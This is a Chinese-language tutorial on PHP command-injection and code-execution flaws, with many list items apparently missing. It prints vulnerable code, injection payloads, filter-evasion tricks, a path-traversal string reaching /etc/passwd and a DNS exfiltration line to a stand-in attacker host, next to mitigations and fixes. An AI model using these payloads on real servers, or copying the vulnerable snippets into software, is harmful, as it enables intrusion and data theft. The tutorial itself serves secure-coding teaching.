PHP作为全球使用最广泛的服务器端脚本语言之一,其安全性一直备受关注。在Web安全领域,PHP的命令执行与代码执行漏洞因其高危害性和普遍性而成为攻击者的主要目标。这两类漏洞虽然经常被相提并论,但在本质上有显著区别。
命令执行漏洞允许攻击者在服务器操作系统层面执行任意命令,而代码执行漏洞则使攻击者能够在PHP解释器层面执行任意PHP代码。前者直接威胁服务器系统安全,后者则可能绕过应用层防护直接操控应用逻辑。
根据OWASP Top 10的分类,这类漏洞通常被归类为"注入类漏洞",属于最高风险等级的安全问题。成功的利用可能导致:
统计数据显示,在PHP应用中:
PHP命令执行的本质是通过语言内置函数调用系统shell,其执行流程如下:
这个过程中,如果命令字符串包含未过滤的用户输入,就会形成注入漏洞。
PHP命令执行的权限取决于:
典型的权限问题包括:
PHP提供了多个命令执行函数,各有特点:
php复制<?php
// 典型漏洞代码示例
$user_input = $_GET['cmd'];
system("ls -la ".$user_input);
?>
特点:
php复制<?php
// 两种等效写法
$output = shell_exec('whoami');
$output = `whoami`;
?>
特点:
php复制<?php
exec('ping -c 4 '.$_GET['host'], $output, $return_var);
print_r($output);
?>
特点:
php复制<?php
passthru('cat '.$_GET['file']);
?>
特点:
攻击者利用命令注入通常需要突破以下限制:
常用分隔符及其特性:
| 分隔符 | 作用 | 示例 |
|---|---|---|
| ; | 顺序执行 | cmd1; cmd2 |
| && | 前命令成功则执行后命令 | cmd1 && cmd2 |
| || | 前命令失败则执行后命令 | cmd1 || cmd2 |
| | | 管道符 | cmd1 | cmd2 |
| & | 后台执行 | cmd1 & cmd2 |
通过精心构造参数实现:
bash复制# 利用find命令的-exec参数
find / -name test -exec whoami \;
# 使用环境变量
echo $PATH
$(whoami)
php复制# DNS外带示例
system('dig `whoami`.attacker.com');
实施严格的输入验证:
php复制// IP地址验证示例
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
die('Invalid IP address');
}
使用escapeshellarg()和escapeshellcmd():
php复制// 安全使用示例
$clean_input = escapeshellarg($_GET['input']);
system("ls -la ".$clean_input);
php.ini关键配置:
ini复制disable_functions = exec,system,passthru,shell_exec
open_basedir = /var/www/html:/tmp
PHP代码执行的本质是动态代码评估,其执行流程:
php复制<?php
eval('echo "Hello, ".$_GET["name"];');
?>
特点:
php复制<?php
// PHP5.x中可执行代码
assert('eval($_GET["cmd"])');
?>
注意:PHP7中assert()不再执行字符串代码
php复制<?php
// 通过回调函数执行代码
call_user_func($_GET['func'], $_GET['arg']);
?>
危险回调函数包括:
php复制// 典型漏洞代码
$code = 'echo "Hello, '.$_GET['name'].'";';
eval($code);
攻击payload:
php复制name=";phpinfo();//
php复制// 动态函数调用漏洞
$func = $_GET['func'];
$func($_GET['arg']);
攻击payload:
php复制func=system&arg=whoami
php复制// 反序列化漏洞
unserialize($_GET['data']);
通过构造特殊对象实现代码执行。
基本原则:永远不要执行来自用户的代码输入。
替代eval()的方案:
php复制// 使用switch-case替代动态代码
switch ($action) {
case 'add':
// 处理添加逻辑
break;
case 'delete':
// 处理删除逻辑
break;
default:
// 默认处理
}
php.ini关键配置:
ini复制disable_functions = eval,assert
disable_classes = ReflectionFunction,ReflectionMethod
使用各种编码技术:
php复制// Base64编码示例
$cmd = base64_decode($_GET['cmd']);
eval($cmd);
攻击payload:
php复制cmd=cGhwaW5mbygpOw==
php复制// 字符串拼接绕过
$func = 'sy'.'stem';
$func('whoami');
php复制// 使用可变变量
${'a'.'b'} = 'system';
$ab('whoami');
实施多层防御:
使用扩展加强保护:
容器环境特有风险:
防护措施:
云环境特有风险:
防护措施:
Serverless特有风险:
防护措施:
某CMS系统文件管理功能:
php复制// 漏洞代码
$file = $_GET['file'];
system("cat /var/www/uploads/".$file);
攻击payload:
php复制file=test.txt;whoami
修复方案:
php复制$file = basename($_GET['file']);
system("cat /var/www/uploads/".escapeshellarg($file));
某框架动态插件加载:
php复制// 漏洞代码
$plugin = $_GET['plugin'];
$code = file_get_contents("plugins/".$plugin);
eval($code);
攻击payload:
php复制plugin=../../../etc/passwd
修复方案:
php复制$plugin = preg_replace('/[^a-z0-9_]/', '', $_GET['plugin']);
if (!file_exists("plugins/".$plugin.".php")) {
die('Invalid plugin');
}
include("plugins/".$plugin.".php");
在实际开发中,我强烈建议将安全考虑纳入开发生命周期的每个阶段,而不是事后补救。对于PHP应用,特别要注意:
通过持续的安全实践和意识提升,才能有效防范命令执行和代码执行这类高危漏洞。